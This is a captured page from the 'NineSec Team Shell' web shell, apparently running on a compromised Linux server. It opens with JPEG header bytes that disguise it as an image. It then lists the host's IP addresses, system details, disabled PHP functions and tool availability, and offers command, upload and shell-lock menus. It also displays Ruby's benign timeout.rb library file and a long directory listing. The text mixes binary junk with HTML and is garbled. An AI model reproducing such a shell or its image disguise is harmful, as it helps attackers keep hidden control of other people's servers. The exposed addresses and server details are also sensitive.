�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/lib/ruby/2.7.0/singleton/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/lib/ruby/2.7.0/singleton/../timeout.rb
# frozen_string_literal: false
# Timeout long-running blocks
#
# == Synopsis
#
#   require 'timeout'
#   status = Timeout::timeout(5) {
#     # Something that should be interrupted if it takes more than 5 seconds...
#   }
#
# == Description
#
# Timeout provides a way to auto-terminate a potentially long-running
# operation if it hasn't finished in a fixed amount of time.
#
# Previous versions didn't use a module for namespacing, however
# #timeout is provided for backwards compatibility.  You
# should prefer Timeout.timeout instead.
#
# == Copyright
#
# Copyright:: (C) 2000  Network Applied Communication Laboratory, Inc.
# Copyright:: (C) 2000  Information-technology Promotion Agency, Japan

module Timeout
  # Raised by Timeout.timeout when the block times out.
  class Error < RuntimeError
    attr_reader :thread

    def self.catch(*args)
      exc = new(*args)
      exc.instance_variable_set(:@thread, Thread.current)
      ::Kernel.catch(exc) {yield exc}
    end

    def exception(*)
      # TODO: use Fiber.current to see if self can be thrown
      if self.thread == Thread.current
        bt = caller
        begin
          throw(self, bt)
        rescue UncaughtThrowError
        end
      end
      self
    end
  end

  # :stopdoc:
  THIS_FILE = /\A#{Regexp.quote(__FILE__)}:/o
  CALLER_OFFSET = ((c = caller[0]) && THIS_FILE =~ c) ? 1 : 0
  private_constant :THIS_FILE, :CALLER_OFFSET
  # :startdoc:

  # Perform an operation in a block, raising an error if it takes longer than
  # +sec+ seconds to complete.
  #
  # +sec+:: Number of seconds to wait for the block to terminate. Any number
  #         may be used, including Floats to specify fractional seconds. A
  #         value of 0 or +nil+ will execute the block without any timeout.
  # +klass+:: Exception Class to raise if the block fails to terminate
  #           in +sec+ seconds.  Omitting will use the default, Timeout::Error
  # +message+:: Error message to raise with Exception Class.
  #             Omitting will use the default, "execution expired"
  #
  # Returns the result of the block *if* the block completed before
  # +sec+ seconds, otherwise throws an exception, based on the value of +klass+.
  #
  # The exception thrown to terminate the given block cannot be rescued inside
  # the block unless +klass+ is given explicitly. However, the block can use
  # ensure to prevent the handling of the exception.  For that reason, this
  # method cannot be relied on to enforce timeouts for untrusted blocks.
  #
  # Note that this is both a method of module Timeout, so you can <tt>include
  # Timeout</tt> into your classes so they have a #timeout method, as well as
  # a module method, so you can call it directly as Timeout.timeout().
  def timeout(sec, klass = nil, message = nil)   #:yield: +sec+
    return yield(sec) if sec == nil or sec.zero?
    message ||= "execution expired".freeze
    from = "from #{caller_locations(1, 1)[0]}" if $DEBUG
    e = Error
    bl = proc do |exception|
      begin
        x = Thread.current
        y = Thread.start {
          Thread.current.name = from
          begin
            sleep sec
          rescue => e
            x.raise e
          else
            x.raise exception, message
          end
        }
        return yield(sec)
      ensure
        if y
          y.kill
          y.join # make sure y is dead.
        end
      end
    end
    if klass
      begin
        bl.call(klass)
      rescue klass => e
        bt = e.backtrace
      end
    else
      bt = Error.catch(message, &bl)
    end
    level = -caller(CALLER_OFFSET).size-2
    while THIS_FILE =~ bt[level]
      bt.delete_at(level)
    end
    raise(e, message, bt)
  end

  module_function :timeout
end

def timeout(*args, &block)
  warn "Object##{__method__} is deprecated, use Timeout.timeout instead.", uplevel: 1
  Timeout.timeout(*args, &block)
end

# Another name for Timeout::Error, defined for backwards compatibility with
# earlier versions of timeout.rb.
TimeoutError = Timeout::Error
class Object
  deprecate_constant :TimeoutError
end

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 10:48:29
root
0755
benchmark
--
October 23 2023 6:29:37
root
0755
bigdecimal
--
October 23 2023 6:29:37
root
0755
bundler
--
October 23 2023 6:29:37
root
0755
cgi
--
October 23 2023 6:29:37
root
0755
csv
--
October 23 2023 6:29:37
root
0755
delegate
--
October 23 2023 6:29:37
root
0755
did_you_mean
--
October 23 2023 6:29:37
root
0755
digest
--
October 23 2023 6:29:37
root
0755
drb
--
October 23 2023 6:29:37
root
0755
fiddle
--
October 23 2023 6:29:37
root
0755
forwardable
--
October 23 2023 6:29:37
root
0755
getoptlong
--
October 23 2023 6:29:37
root
0755
io
--
March 29 2022 10:48:29
root
0755
irb
--
October 23 2023 6:29:37
root
0755
json
--
October 23 2023 6:29:37
root
0755
logger
--
October 23 2023 6:29:37
root
0755
matrix
--
October 23 2023 6:29:37
root
0755
net
--
October 23 2023 6:29:37
root
0755
observer
--
October 23 2023 6:29:37
root
0755
open3
--
October 23 2023 6:29:37
root
0755
openssl
--
October 23 2023 6:29:37
root
0755
optparse
--
October 23 2023 6:29:37
root
0755
ostruct
--
October 23 2023 6:29:37
root
0755
pstore
--
October 23 2023 6:29:37
root
0755
psych
--
October 23 2023 6:29:37
root
0755
racc
--
October 23 2023 6:29:37
root
0755
rdoc
--
October 23 2023 6:29:37
root
0755
reline
--
October 23 2023 6:29:37
root
0755
rexml
--
October 23 2023 6:29:37
root
0755
rinda
--
October 23 2023 6:29:37
root
0755
ripper
--
October 23 2023 6:29:37
root
0755
rss
--
October 23 2023 6:29:37
root
0755
rubygems
--
October 23 2023 6:29:37
root
0755
singleton
--
October 23 2023 6:29:37
root
0755
syslog
--
October 23 2023 6:29:37
root
0755
timeout
--
October 23 2023 6:29:37
root
0755
tracer
--
October 23 2023 6:29:37
root
0755
unicode_normalize
--
October 23 2023 6:29:37
root
0755
uri
--
October 23 2023 6:29:37
root
0755
webrick
--
October 23 2023 6:29:37
root
0755
yaml
--
October 23 2023 6:29:37
root
0755
English.rb
6.111 KB
December 25 2019 10:50:58
root
0644
abbrev.rb
3.446 KB
December 25 2019 10:50:58
root
0644
base64.rb
3.3 KB
December 25 2019 10:50:58
root
0644
benchmark.rb
18.021 KB
December 25 2019 10:50:58
root
0644
bigdecimal.rb
0.023 KB
July 06 2023 12:57:08
root
0644
bundler.rb
23.162 KB
December 25 2019 10:50:58
root
0644
cgi.rb
9.802 KB
December 25 2019 10:50:58
root
0644
coverage.rb
0.359 KB
July 06 2023 12:57:08
root
0644
csv.rb
54.339 KB
December 25 2019 10:50:58
root
0644
date.rb
1.012 KB
July 06 2023 12:57:08
root
0644
debug.rb
29.906 KB
December 25 2019 10:50:58
root
0644
delegate.rb
10.859 KB
December 25 2019 10:50:58
root
0644
did_you_mean.rb
3.717 KB
December 25 2019 10:50:58
root
0644
digest.rb
2.826 KB
July 06 2023 12:57:08
root
0644
drb.rb
0.049 KB
December 25 2019 10:50:58
root
0644
erb.rb
28.813 KB
December 25 2019 10:50:58
root
0644
expect.rb
2.165 KB
July 06 2023 12:57:08
root
0644
fiddle.rb
1.682 KB
July 06 2023 12:57:08
root
0644
fileutils.rb
48.011 KB
December 25 2019 10:50:58
root
0644
find.rb
2.467 KB
December 25 2019 10:50:58
root
0644
forwardable.rb
8.916 KB
December 25 2019 10:50:58
root
0644
getoptlong.rb
15.417 KB
December 25 2019 10:50:58
root
0644
ipaddr.rb
19.521 KB
December 25 2019 10:50:58
root
0644
irb.rb
25.214 KB
December 25 2019 10:50:58
root
0644
json.rb
1.767 KB
July 06 2023 12:57:08
root
0644
kconv.rb
5.724 KB
July 06 2023 12:57:08
root
0644
logger.rb
16.398 KB
December 25 2019 10:50:58
root
0644
matrix.rb
60.257 KB
December 25 2019 10:50:58
root
0644
mkmf.rb
86.228 KB
July 06 2023 12:57:08
root
0644
monitor.rb
6.758 KB
July 06 2023 12:57:08
root
0644
mutex_m.rb
2.162 KB
December 25 2019 10:50:58
root
0644
observer.rb
5.831 KB
December 25 2019 10:50:58
root
0644
open-uri.rb
25.477 KB
December 25 2019 10:50:58
root
0644
open3.rb
21.813 KB
December 25 2019 10:50:58
root
0644
openssl.rb
0.458 KB
July 06 2023 12:57:08
root
0644
optionparser.rb
0.058 KB
December 25 2019 10:50:58
root
0644
optparse.rb
59.491 KB
December 25 2019 10:50:58
root
0644
ostruct.rb
10.532 KB
December 25 2019 10:50:58
root
0644
pathname.rb
16.17 KB
July 06 2023 12:57:08
root
0644
pp.rb
15.417 KB
December 25 2019 10:50:58
root
0644
prettyprint.rb
15.895 KB
December 25 2019 10:50:58
root
0644
prime.rb
12.373 KB
December 25 2019 10:50:58
root
0644
pstore.rb
14.71 KB
December 25 2019 10:50:58
root
0644
psych.rb
21.209 KB
July 06 2023 12:57:08
root
0644
racc.rb
0.134 KB
December 25 2019 10:50:58
root
0644
rdoc.rb
4.883 KB
December 25 2019 10:50:58
root
0644
readline.rb
0.11 KB
December 25 2019 10:50:58
root
0644
reline.rb
12.531 KB
December 25 2019 10:50:58
root
0644
resolv-replace.rb
1.763 KB
December 25 2019 10:50:58
root
0644
resolv.rb
73.505 KB
December 25 2019 10:50:58
root
0644
ripper.rb
2.436 KB
July 06 2023 12:57:08
root
0644
rss.rb
2.894 KB
December 25 2019 10:50:58
root
0644
rubygems.rb
36.621 KB
December 25 2019 10:50:58
root
0644
securerandom.rb
9.305 KB
December 25 2019 10:50:58
root
0644
set.rb
23.917 KB
December 25 2019 10:50:58
root
0644
shellwords.rb
6.656 KB
December 25 2019 10:50:58
root
0644
singleton.rb
4.061 KB
December 25 2019 10:50:58
root
0644
socket.rb
43.654 KB
July 06 2023 12:57:08
root
0644
tempfile.rb
10.95 KB
December 25 2019 10:50:58
root
0644
time.rb
24.014 KB
July 06 2023 12:57:08
root
0644
timeout.rb
3.979 KB
December 25 2019 10:50:58
root
0644
tmpdir.rb
4.108 KB
December 25 2019 10:50:58
root
0644
tracer.rb
6.484 KB
December 25 2019 10:50:58
root
0644
tsort.rb
14.299 KB
December 25 2019 10:50:58
root
0644
un.rb
9.963 KB
December 25 2019 10:50:58
root
0644
uri.rb
2.968 KB
December 25 2019 10:50:58
root
0644
weakref.rb
1.438 KB
December 25 2019 10:50:58
root
0644
webrick.rb
6.729 KB
December 25 2019 10:50:58
root
0644
yaml.rb
1.802 KB
December 25 2019 10:50:58
root
0644

NineSec Team - 2022